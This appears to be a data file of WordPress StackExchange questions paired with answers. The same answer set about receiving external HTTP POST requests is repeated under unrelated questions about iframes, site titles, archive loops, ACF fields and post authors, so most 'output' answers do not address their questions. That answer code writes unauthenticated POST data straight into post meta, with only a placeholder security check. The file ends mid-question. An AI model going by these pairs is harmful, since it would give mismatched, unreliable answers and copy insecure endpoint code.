qid
int64 4
8.14M
| question
stringlengths 20
48.3k
| answers
list | date
stringlengths 10
10
| metadata
list | input
stringlengths 12
45k
| output
stringlengths 2
31.8k
|
---|---|---|---|---|---|---|
253,486 | <p>How do I listen for and receive a third party HTTP POST in Wordpress so I can process the data in the post inside Wordpress? </p>
<p>Not looking for the answer with code but rather the method by which Wordpress would receive that HTTP POST.</p>
| [
{
"answer_id": 253489,
"author": "Cdorob",
"author_id": 111460,
"author_profile": "https://wordpress.stackexchange.com/users/111460",
"pm_score": 1,
"selected": false,
"text": "<p>You should start by making a new page template starting from a template you already have in the theme (edit a template, change the name of the template on the top of the page, save as a different PHP file).</p>\n\n<p>Then add the PHP code to process the HTTP post to the new file.</p>\n\n<p>The last step is to go to the dashboard and create a new page using the new template.</p>\n"
},
{
"answer_id": 253490,
"author": "kirillrocks",
"author_id": 111056,
"author_profile": "https://wordpress.stackexchange.com/users/111056",
"pm_score": 3,
"selected": true,
"text": "<p>Easy! You have a couple of options to do so.</p>\n\n<p>The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it <code>get_post.php</code> and add WordPress functionality to it. </p>\n\n<p>Like so:</p>\n\n<pre><code><?php \n require_once('wp-load.php'); // add wordpress functionality\n $post = $_POST;\n\n if ( $something ) // security check\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be <code>yourdomain.com/get_posts.php</code></p>\n\n<p>Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.</p>\n\n<pre><code><?php \n /* Template Name: Api Template */ \n\n if ( ! defined( ‘ABSPATH’ ) ) {\n exit;\n }\n\n $post = $_POST;\n\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be: <code>yourdomain.com/newly-created-page-permalink</code>.</p>\n"
},
{
"answer_id": 253499,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<p>Since 4.4 and above wordpress has an official end point for \"API\" type of access - wp-json, which you can extend by defining you own extension point and handler with <a href=\"https://developer.wordpress.org/reference/functions/register_rest_route/\" rel=\"nofollow noreferrer\">register_rest_route</a>, never tried to send a non json payload that way, but I assume it should be possible, or your front end can easily encode it as json.</p>\n\n<p>The advantage over other answers here is that it lets wordpress know that the request is an API request and not a front end one.</p>\n\n<p>(in older versions you could have used rewrite rules... but it is too messy to even mention)</p>\n"
},
{
"answer_id": 383052,
"author": "njmwas",
"author_id": 201644,
"author_profile": "https://wordpress.stackexchange.com/users/201644",
"pm_score": 1,
"selected": false,
"text": "<p>I would like to give an example to @Mark Kaplun's answer.\nYou can register an endpoint to process your http post requests using register_rest_route like this:-</p>\n<pre><code>/** first create a function for processing your request*/\nfunction process_my_request(WP_REST_Request $request){\n $request_body = $request->get_body_params();\n if(update_post_meta( $request_body['post_id'], 'post_data', $request_body )){\n $response = new WP_REST_Response(array('message'=>'Successful'));\n $response->set_status(200);\n return $response;\n }\n else{\n return new WP_Error('invalid_request', 'Something went wrong', array('status'=>403));\n }\n}\n\n/** then create a register route callback function */\nfunction register_my_route(){\n register_rest_route('myplugin/v1', '/myroute', array(\n 'methods'=>'POST',\n 'callback'=>'process_my_request'\n ));\n}\nadd_action('rest_api_init', 'register_my_route');\n</code></pre>\n<p>Once you have done that, now you can post your requests to the following path</p>\n<pre><code>site_url('wp-json/myplugin/v1/myroute');\n</code></pre>\n"
}
]
| 2017/01/22 | [
"https://wordpress.stackexchange.com/questions/253486",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/108215/"
]
| How do I listen for and receive a third party HTTP POST in Wordpress so I can process the data in the post inside Wordpress?
Not looking for the answer with code but rather the method by which Wordpress would receive that HTTP POST. | Easy! You have a couple of options to do so.
The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it `get_post.php` and add WordPress functionality to it.
Like so:
```
<?php
require_once('wp-load.php'); // add wordpress functionality
$post = $_POST;
if ( $something ) // security check
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be `yourdomain.com/get_posts.php`
Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.
```
<?php
/* Template Name: Api Template */
if ( ! defined( ‘ABSPATH’ ) ) {
exit;
}
$post = $_POST;
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be: `yourdomain.com/newly-created-page-permalink`. |
253,491 | <p>I am trying to create a custom loop to display my posts in different styling.</p>
<p>In my posts, I have mostly Youtube videos and some text around. In my posts loop I need to display only thumbnail of the featured image of the posts and the text, but I don't want to display any iframes with my Youtube videos.</p>
<p>I was searching for solutions nad I found this - <a href="https://wordpress.stackexchange.com/questions/218305/display-only-text-to-wordpress-loop-without-loosing-the-text-formatting/218314#218314">Display only text to WordPress loop without loosing the text formatting</a> - it should remove iframes and images, which would be great for me, but I have multiple posts loop so I don't really want to affect <code>the_content()</code> function because it is used in many more different loops in my theme, if you understand my problem. I am not really a programmer so this is tough for me.</p>
<p><strong>edit 1</strong>
I have added your code into functions.php but nothing happens. here's my code in template: </p>
<pre><code><?php
global $post;
$args = array('orderby' => 'rand', 'posts_per_page' => 1,);
$custom_posts = get_posts($args); foreach($custom_posts as $post) : setup_postdata($post); ?>
<div class="hpvybirame">
<div <?php post_class(); ?> id="post-<?php the_ID(); ?>">
<h1><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h1>
<?php show_only_thumbnails($content); ?>
<?php echo get_the_post_thumbnail($thumbnail->ID, 'vlog-lay-c'); ?>
</div>
</div>
<? endforeach; ?>
</code></pre>
| [
{
"answer_id": 253489,
"author": "Cdorob",
"author_id": 111460,
"author_profile": "https://wordpress.stackexchange.com/users/111460",
"pm_score": 1,
"selected": false,
"text": "<p>You should start by making a new page template starting from a template you already have in the theme (edit a template, change the name of the template on the top of the page, save as a different PHP file).</p>\n\n<p>Then add the PHP code to process the HTTP post to the new file.</p>\n\n<p>The last step is to go to the dashboard and create a new page using the new template.</p>\n"
},
{
"answer_id": 253490,
"author": "kirillrocks",
"author_id": 111056,
"author_profile": "https://wordpress.stackexchange.com/users/111056",
"pm_score": 3,
"selected": true,
"text": "<p>Easy! You have a couple of options to do so.</p>\n\n<p>The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it <code>get_post.php</code> and add WordPress functionality to it. </p>\n\n<p>Like so:</p>\n\n<pre><code><?php \n require_once('wp-load.php'); // add wordpress functionality\n $post = $_POST;\n\n if ( $something ) // security check\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be <code>yourdomain.com/get_posts.php</code></p>\n\n<p>Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.</p>\n\n<pre><code><?php \n /* Template Name: Api Template */ \n\n if ( ! defined( ‘ABSPATH’ ) ) {\n exit;\n }\n\n $post = $_POST;\n\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be: <code>yourdomain.com/newly-created-page-permalink</code>.</p>\n"
},
{
"answer_id": 253499,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<p>Since 4.4 and above wordpress has an official end point for \"API\" type of access - wp-json, which you can extend by defining you own extension point and handler with <a href=\"https://developer.wordpress.org/reference/functions/register_rest_route/\" rel=\"nofollow noreferrer\">register_rest_route</a>, never tried to send a non json payload that way, but I assume it should be possible, or your front end can easily encode it as json.</p>\n\n<p>The advantage over other answers here is that it lets wordpress know that the request is an API request and not a front end one.</p>\n\n<p>(in older versions you could have used rewrite rules... but it is too messy to even mention)</p>\n"
},
{
"answer_id": 383052,
"author": "njmwas",
"author_id": 201644,
"author_profile": "https://wordpress.stackexchange.com/users/201644",
"pm_score": 1,
"selected": false,
"text": "<p>I would like to give an example to @Mark Kaplun's answer.\nYou can register an endpoint to process your http post requests using register_rest_route like this:-</p>\n<pre><code>/** first create a function for processing your request*/\nfunction process_my_request(WP_REST_Request $request){\n $request_body = $request->get_body_params();\n if(update_post_meta( $request_body['post_id'], 'post_data', $request_body )){\n $response = new WP_REST_Response(array('message'=>'Successful'));\n $response->set_status(200);\n return $response;\n }\n else{\n return new WP_Error('invalid_request', 'Something went wrong', array('status'=>403));\n }\n}\n\n/** then create a register route callback function */\nfunction register_my_route(){\n register_rest_route('myplugin/v1', '/myroute', array(\n 'methods'=>'POST',\n 'callback'=>'process_my_request'\n ));\n}\nadd_action('rest_api_init', 'register_my_route');\n</code></pre>\n<p>Once you have done that, now you can post your requests to the following path</p>\n<pre><code>site_url('wp-json/myplugin/v1/myroute');\n</code></pre>\n"
}
]
| 2017/01/22 | [
"https://wordpress.stackexchange.com/questions/253491",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111498/"
]
| I am trying to create a custom loop to display my posts in different styling.
In my posts, I have mostly Youtube videos and some text around. In my posts loop I need to display only thumbnail of the featured image of the posts and the text, but I don't want to display any iframes with my Youtube videos.
I was searching for solutions nad I found this - [Display only text to WordPress loop without loosing the text formatting](https://wordpress.stackexchange.com/questions/218305/display-only-text-to-wordpress-loop-without-loosing-the-text-formatting/218314#218314) - it should remove iframes and images, which would be great for me, but I have multiple posts loop so I don't really want to affect `the_content()` function because it is used in many more different loops in my theme, if you understand my problem. I am not really a programmer so this is tough for me.
**edit 1**
I have added your code into functions.php but nothing happens. here's my code in template:
```
<?php
global $post;
$args = array('orderby' => 'rand', 'posts_per_page' => 1,);
$custom_posts = get_posts($args); foreach($custom_posts as $post) : setup_postdata($post); ?>
<div class="hpvybirame">
<div <?php post_class(); ?> id="post-<?php the_ID(); ?>">
<h1><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h1>
<?php show_only_thumbnails($content); ?>
<?php echo get_the_post_thumbnail($thumbnail->ID, 'vlog-lay-c'); ?>
</div>
</div>
<? endforeach; ?>
``` | Easy! You have a couple of options to do so.
The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it `get_post.php` and add WordPress functionality to it.
Like so:
```
<?php
require_once('wp-load.php'); // add wordpress functionality
$post = $_POST;
if ( $something ) // security check
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be `yourdomain.com/get_posts.php`
Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.
```
<?php
/* Template Name: Api Template */
if ( ! defined( ‘ABSPATH’ ) ) {
exit;
}
$post = $_POST;
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be: `yourdomain.com/newly-created-page-permalink`. |
253,508 | <p>I want to get rid of a dash '-' in my Wordpress site title on mobile. To do that, I want to place a span around the dash, something like the below.</p>
<p><strong>Desired Result</strong></p>
<pre><code><h1 class="site-title">My Site Title <span class="remove-mob">-</span> Is Great</h1>
</code></pre>
<p>Here's my current PHP code, can anyone suggest an edit, so that I can add the span above around the dash contained within the site title?</p>
<p><strong>Current Code</strong></p>
<pre><code><h1 class="site-title"><?php bloginfo( 'name' ); ?></h1>
</code></pre>
| [
{
"answer_id": 253489,
"author": "Cdorob",
"author_id": 111460,
"author_profile": "https://wordpress.stackexchange.com/users/111460",
"pm_score": 1,
"selected": false,
"text": "<p>You should start by making a new page template starting from a template you already have in the theme (edit a template, change the name of the template on the top of the page, save as a different PHP file).</p>\n\n<p>Then add the PHP code to process the HTTP post to the new file.</p>\n\n<p>The last step is to go to the dashboard and create a new page using the new template.</p>\n"
},
{
"answer_id": 253490,
"author": "kirillrocks",
"author_id": 111056,
"author_profile": "https://wordpress.stackexchange.com/users/111056",
"pm_score": 3,
"selected": true,
"text": "<p>Easy! You have a couple of options to do so.</p>\n\n<p>The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it <code>get_post.php</code> and add WordPress functionality to it. </p>\n\n<p>Like so:</p>\n\n<pre><code><?php \n require_once('wp-load.php'); // add wordpress functionality\n $post = $_POST;\n\n if ( $something ) // security check\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be <code>yourdomain.com/get_posts.php</code></p>\n\n<p>Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.</p>\n\n<pre><code><?php \n /* Template Name: Api Template */ \n\n if ( ! defined( ‘ABSPATH’ ) ) {\n exit;\n }\n\n $post = $_POST;\n\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be: <code>yourdomain.com/newly-created-page-permalink</code>.</p>\n"
},
{
"answer_id": 253499,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<p>Since 4.4 and above wordpress has an official end point for \"API\" type of access - wp-json, which you can extend by defining you own extension point and handler with <a href=\"https://developer.wordpress.org/reference/functions/register_rest_route/\" rel=\"nofollow noreferrer\">register_rest_route</a>, never tried to send a non json payload that way, but I assume it should be possible, or your front end can easily encode it as json.</p>\n\n<p>The advantage over other answers here is that it lets wordpress know that the request is an API request and not a front end one.</p>\n\n<p>(in older versions you could have used rewrite rules... but it is too messy to even mention)</p>\n"
},
{
"answer_id": 383052,
"author": "njmwas",
"author_id": 201644,
"author_profile": "https://wordpress.stackexchange.com/users/201644",
"pm_score": 1,
"selected": false,
"text": "<p>I would like to give an example to @Mark Kaplun's answer.\nYou can register an endpoint to process your http post requests using register_rest_route like this:-</p>\n<pre><code>/** first create a function for processing your request*/\nfunction process_my_request(WP_REST_Request $request){\n $request_body = $request->get_body_params();\n if(update_post_meta( $request_body['post_id'], 'post_data', $request_body )){\n $response = new WP_REST_Response(array('message'=>'Successful'));\n $response->set_status(200);\n return $response;\n }\n else{\n return new WP_Error('invalid_request', 'Something went wrong', array('status'=>403));\n }\n}\n\n/** then create a register route callback function */\nfunction register_my_route(){\n register_rest_route('myplugin/v1', '/myroute', array(\n 'methods'=>'POST',\n 'callback'=>'process_my_request'\n ));\n}\nadd_action('rest_api_init', 'register_my_route');\n</code></pre>\n<p>Once you have done that, now you can post your requests to the following path</p>\n<pre><code>site_url('wp-json/myplugin/v1/myroute');\n</code></pre>\n"
}
]
| 2017/01/22 | [
"https://wordpress.stackexchange.com/questions/253508",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/91067/"
]
| I want to get rid of a dash '-' in my Wordpress site title on mobile. To do that, I want to place a span around the dash, something like the below.
**Desired Result**
```
<h1 class="site-title">My Site Title <span class="remove-mob">-</span> Is Great</h1>
```
Here's my current PHP code, can anyone suggest an edit, so that I can add the span above around the dash contained within the site title?
**Current Code**
```
<h1 class="site-title"><?php bloginfo( 'name' ); ?></h1>
``` | Easy! You have a couple of options to do so.
The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it `get_post.php` and add WordPress functionality to it.
Like so:
```
<?php
require_once('wp-load.php'); // add wordpress functionality
$post = $_POST;
if ( $something ) // security check
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be `yourdomain.com/get_posts.php`
Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.
```
<?php
/* Template Name: Api Template */
if ( ! defined( ‘ABSPATH’ ) ) {
exit;
}
$post = $_POST;
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be: `yourdomain.com/newly-created-page-permalink`. |
253,509 | <p>I have 2 loops on the archive page. I want the first loop to display the 2 last posts of the category and the second loop offset 2 last post!</p>
<pre><code><div class="top-posts">
<?php
if (have_posts()) :
while(have_posts()) : the_post();?>
<div class="content">
<?php the_post_thumbnail('archive'); ?>
<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
</div>
<?php endwhile;?>
<?php endif;?>
</div>
<div class="primary-posts">
<?php
if (have_posts()) :
while(have_posts()) : the_post();?>
<h2><a href="<?php the_permalink(); ?>" ><?php the_title(); ?></a></h2>
<?php endwhile;?>
<?php endif;?>
</div>
</code></pre>
| [
{
"answer_id": 253489,
"author": "Cdorob",
"author_id": 111460,
"author_profile": "https://wordpress.stackexchange.com/users/111460",
"pm_score": 1,
"selected": false,
"text": "<p>You should start by making a new page template starting from a template you already have in the theme (edit a template, change the name of the template on the top of the page, save as a different PHP file).</p>\n\n<p>Then add the PHP code to process the HTTP post to the new file.</p>\n\n<p>The last step is to go to the dashboard and create a new page using the new template.</p>\n"
},
{
"answer_id": 253490,
"author": "kirillrocks",
"author_id": 111056,
"author_profile": "https://wordpress.stackexchange.com/users/111056",
"pm_score": 3,
"selected": true,
"text": "<p>Easy! You have a couple of options to do so.</p>\n\n<p>The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it <code>get_post.php</code> and add WordPress functionality to it. </p>\n\n<p>Like so:</p>\n\n<pre><code><?php \n require_once('wp-load.php'); // add wordpress functionality\n $post = $_POST;\n\n if ( $something ) // security check\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be <code>yourdomain.com/get_posts.php</code></p>\n\n<p>Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.</p>\n\n<pre><code><?php \n /* Template Name: Api Template */ \n\n if ( ! defined( ‘ABSPATH’ ) ) {\n exit;\n }\n\n $post = $_POST;\n\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be: <code>yourdomain.com/newly-created-page-permalink</code>.</p>\n"
},
{
"answer_id": 253499,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<p>Since 4.4 and above wordpress has an official end point for \"API\" type of access - wp-json, which you can extend by defining you own extension point and handler with <a href=\"https://developer.wordpress.org/reference/functions/register_rest_route/\" rel=\"nofollow noreferrer\">register_rest_route</a>, never tried to send a non json payload that way, but I assume it should be possible, or your front end can easily encode it as json.</p>\n\n<p>The advantage over other answers here is that it lets wordpress know that the request is an API request and not a front end one.</p>\n\n<p>(in older versions you could have used rewrite rules... but it is too messy to even mention)</p>\n"
},
{
"answer_id": 383052,
"author": "njmwas",
"author_id": 201644,
"author_profile": "https://wordpress.stackexchange.com/users/201644",
"pm_score": 1,
"selected": false,
"text": "<p>I would like to give an example to @Mark Kaplun's answer.\nYou can register an endpoint to process your http post requests using register_rest_route like this:-</p>\n<pre><code>/** first create a function for processing your request*/\nfunction process_my_request(WP_REST_Request $request){\n $request_body = $request->get_body_params();\n if(update_post_meta( $request_body['post_id'], 'post_data', $request_body )){\n $response = new WP_REST_Response(array('message'=>'Successful'));\n $response->set_status(200);\n return $response;\n }\n else{\n return new WP_Error('invalid_request', 'Something went wrong', array('status'=>403));\n }\n}\n\n/** then create a register route callback function */\nfunction register_my_route(){\n register_rest_route('myplugin/v1', '/myroute', array(\n 'methods'=>'POST',\n 'callback'=>'process_my_request'\n ));\n}\nadd_action('rest_api_init', 'register_my_route');\n</code></pre>\n<p>Once you have done that, now you can post your requests to the following path</p>\n<pre><code>site_url('wp-json/myplugin/v1/myroute');\n</code></pre>\n"
}
]
| 2017/01/22 | [
"https://wordpress.stackexchange.com/questions/253509",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/107899/"
]
| I have 2 loops on the archive page. I want the first loop to display the 2 last posts of the category and the second loop offset 2 last post!
```
<div class="top-posts">
<?php
if (have_posts()) :
while(have_posts()) : the_post();?>
<div class="content">
<?php the_post_thumbnail('archive'); ?>
<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
</div>
<?php endwhile;?>
<?php endif;?>
</div>
<div class="primary-posts">
<?php
if (have_posts()) :
while(have_posts()) : the_post();?>
<h2><a href="<?php the_permalink(); ?>" ><?php the_title(); ?></a></h2>
<?php endwhile;?>
<?php endif;?>
</div>
``` | Easy! You have a couple of options to do so.
The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it `get_post.php` and add WordPress functionality to it.
Like so:
```
<?php
require_once('wp-load.php'); // add wordpress functionality
$post = $_POST;
if ( $something ) // security check
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be `yourdomain.com/get_posts.php`
Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.
```
<?php
/* Template Name: Api Template */
if ( ! defined( ‘ABSPATH’ ) ) {
exit;
}
$post = $_POST;
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be: `yourdomain.com/newly-created-page-permalink`. |
253,515 | <p>I'm trying to include a few custom fields I've created in my functions.php file so they're native to the theme I'm working on. However they're not showing up on the edit screens of the posts I've set them to.</p>
<p>I've included the acf plugin in my theme by using this code in my functions.php: include_once('advanced-custom-fields/acf.php');</p>
<p>I also exported the fields to php and copy and pasted the code in the functions.php of my theme. Can anyone tell me what I'm doing wrong?</p>
| [
{
"answer_id": 253489,
"author": "Cdorob",
"author_id": 111460,
"author_profile": "https://wordpress.stackexchange.com/users/111460",
"pm_score": 1,
"selected": false,
"text": "<p>You should start by making a new page template starting from a template you already have in the theme (edit a template, change the name of the template on the top of the page, save as a different PHP file).</p>\n\n<p>Then add the PHP code to process the HTTP post to the new file.</p>\n\n<p>The last step is to go to the dashboard and create a new page using the new template.</p>\n"
},
{
"answer_id": 253490,
"author": "kirillrocks",
"author_id": 111056,
"author_profile": "https://wordpress.stackexchange.com/users/111056",
"pm_score": 3,
"selected": true,
"text": "<p>Easy! You have a couple of options to do so.</p>\n\n<p>The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it <code>get_post.php</code> and add WordPress functionality to it. </p>\n\n<p>Like so:</p>\n\n<pre><code><?php \n require_once('wp-load.php'); // add wordpress functionality\n $post = $_POST;\n\n if ( $something ) // security check\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be <code>yourdomain.com/get_posts.php</code></p>\n\n<p>Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.</p>\n\n<pre><code><?php \n /* Template Name: Api Template */ \n\n if ( ! defined( ‘ABSPATH’ ) ) {\n exit;\n }\n\n $post = $_POST;\n\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be: <code>yourdomain.com/newly-created-page-permalink</code>.</p>\n"
},
{
"answer_id": 253499,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<p>Since 4.4 and above wordpress has an official end point for \"API\" type of access - wp-json, which you can extend by defining you own extension point and handler with <a href=\"https://developer.wordpress.org/reference/functions/register_rest_route/\" rel=\"nofollow noreferrer\">register_rest_route</a>, never tried to send a non json payload that way, but I assume it should be possible, or your front end can easily encode it as json.</p>\n\n<p>The advantage over other answers here is that it lets wordpress know that the request is an API request and not a front end one.</p>\n\n<p>(in older versions you could have used rewrite rules... but it is too messy to even mention)</p>\n"
},
{
"answer_id": 383052,
"author": "njmwas",
"author_id": 201644,
"author_profile": "https://wordpress.stackexchange.com/users/201644",
"pm_score": 1,
"selected": false,
"text": "<p>I would like to give an example to @Mark Kaplun's answer.\nYou can register an endpoint to process your http post requests using register_rest_route like this:-</p>\n<pre><code>/** first create a function for processing your request*/\nfunction process_my_request(WP_REST_Request $request){\n $request_body = $request->get_body_params();\n if(update_post_meta( $request_body['post_id'], 'post_data', $request_body )){\n $response = new WP_REST_Response(array('message'=>'Successful'));\n $response->set_status(200);\n return $response;\n }\n else{\n return new WP_Error('invalid_request', 'Something went wrong', array('status'=>403));\n }\n}\n\n/** then create a register route callback function */\nfunction register_my_route(){\n register_rest_route('myplugin/v1', '/myroute', array(\n 'methods'=>'POST',\n 'callback'=>'process_my_request'\n ));\n}\nadd_action('rest_api_init', 'register_my_route');\n</code></pre>\n<p>Once you have done that, now you can post your requests to the following path</p>\n<pre><code>site_url('wp-json/myplugin/v1/myroute');\n</code></pre>\n"
}
]
| 2017/01/22 | [
"https://wordpress.stackexchange.com/questions/253515",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111147/"
]
| I'm trying to include a few custom fields I've created in my functions.php file so they're native to the theme I'm working on. However they're not showing up on the edit screens of the posts I've set them to.
I've included the acf plugin in my theme by using this code in my functions.php: include\_once('advanced-custom-fields/acf.php');
I also exported the fields to php and copy and pasted the code in the functions.php of my theme. Can anyone tell me what I'm doing wrong? | Easy! You have a couple of options to do so.
The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it `get_post.php` and add WordPress functionality to it.
Like so:
```
<?php
require_once('wp-load.php'); // add wordpress functionality
$post = $_POST;
if ( $something ) // security check
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be `yourdomain.com/get_posts.php`
Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.
```
<?php
/* Template Name: Api Template */
if ( ! defined( ‘ABSPATH’ ) ) {
exit;
}
$post = $_POST;
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be: `yourdomain.com/newly-created-page-permalink`. |
253,530 | <p>I have created the post by user (A), later I changed the user of the post to (B),
Now I want to find out who initially created the post i.e. user (A) who originally created it.</p>
<p>How can I achieve this?</p>
| [
{
"answer_id": 253489,
"author": "Cdorob",
"author_id": 111460,
"author_profile": "https://wordpress.stackexchange.com/users/111460",
"pm_score": 1,
"selected": false,
"text": "<p>You should start by making a new page template starting from a template you already have in the theme (edit a template, change the name of the template on the top of the page, save as a different PHP file).</p>\n\n<p>Then add the PHP code to process the HTTP post to the new file.</p>\n\n<p>The last step is to go to the dashboard and create a new page using the new template.</p>\n"
},
{
"answer_id": 253490,
"author": "kirillrocks",
"author_id": 111056,
"author_profile": "https://wordpress.stackexchange.com/users/111056",
"pm_score": 3,
"selected": true,
"text": "<p>Easy! You have a couple of options to do so.</p>\n\n<p>The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it <code>get_post.php</code> and add WordPress functionality to it. </p>\n\n<p>Like so:</p>\n\n<pre><code><?php \n require_once('wp-load.php'); // add wordpress functionality\n $post = $_POST;\n\n if ( $something ) // security check\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be <code>yourdomain.com/get_posts.php</code></p>\n\n<p>Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.</p>\n\n<pre><code><?php \n /* Template Name: Api Template */ \n\n if ( ! defined( ‘ABSPATH’ ) ) {\n exit;\n }\n\n $post = $_POST;\n\n update_post_meta( $post['post_id'], 'post_data', $post );\n?>\n</code></pre>\n\n<p>The API link will be: <code>yourdomain.com/newly-created-page-permalink</code>.</p>\n"
},
{
"answer_id": 253499,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<p>Since 4.4 and above wordpress has an official end point for \"API\" type of access - wp-json, which you can extend by defining you own extension point and handler with <a href=\"https://developer.wordpress.org/reference/functions/register_rest_route/\" rel=\"nofollow noreferrer\">register_rest_route</a>, never tried to send a non json payload that way, but I assume it should be possible, or your front end can easily encode it as json.</p>\n\n<p>The advantage over other answers here is that it lets wordpress know that the request is an API request and not a front end one.</p>\n\n<p>(in older versions you could have used rewrite rules... but it is too messy to even mention)</p>\n"
},
{
"answer_id": 383052,
"author": "njmwas",
"author_id": 201644,
"author_profile": "https://wordpress.stackexchange.com/users/201644",
"pm_score": 1,
"selected": false,
"text": "<p>I would like to give an example to @Mark Kaplun's answer.\nYou can register an endpoint to process your http post requests using register_rest_route like this:-</p>\n<pre><code>/** first create a function for processing your request*/\nfunction process_my_request(WP_REST_Request $request){\n $request_body = $request->get_body_params();\n if(update_post_meta( $request_body['post_id'], 'post_data', $request_body )){\n $response = new WP_REST_Response(array('message'=>'Successful'));\n $response->set_status(200);\n return $response;\n }\n else{\n return new WP_Error('invalid_request', 'Something went wrong', array('status'=>403));\n }\n}\n\n/** then create a register route callback function */\nfunction register_my_route(){\n register_rest_route('myplugin/v1', '/myroute', array(\n 'methods'=>'POST',\n 'callback'=>'process_my_request'\n ));\n}\nadd_action('rest_api_init', 'register_my_route');\n</code></pre>\n<p>Once you have done that, now you can post your requests to the following path</p>\n<pre><code>site_url('wp-json/myplugin/v1/myroute');\n</code></pre>\n"
}
]
| 2017/01/22 | [
"https://wordpress.stackexchange.com/questions/253530",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/80381/"
]
| I have created the post by user (A), later I changed the user of the post to (B),
Now I want to find out who initially created the post i.e. user (A) who originally created it.
How can I achieve this? | Easy! You have a couple of options to do so.
The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it `get_post.php` and add WordPress functionality to it.
Like so:
```
<?php
require_once('wp-load.php'); // add wordpress functionality
$post = $_POST;
if ( $something ) // security check
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be `yourdomain.com/get_posts.php`
Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.
```
<?php
/* Template Name: Api Template */
if ( ! defined( ‘ABSPATH’ ) ) {
exit;
}
$post = $_POST;
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be: `yourdomain.com/newly-created-page-permalink`. |
253,544 | <p>I ran into mixed content with SSL issues.
I've applied for Let's encrypt SSL certificate for my test wordpress site behind a reverse proxy(articaproxy).</p>
<p>The same SSL certificate has been deployed in reverse proxy server and wordpress virtual host.</p>
<p>The reverse proxy http/https redirect works fine.</p>
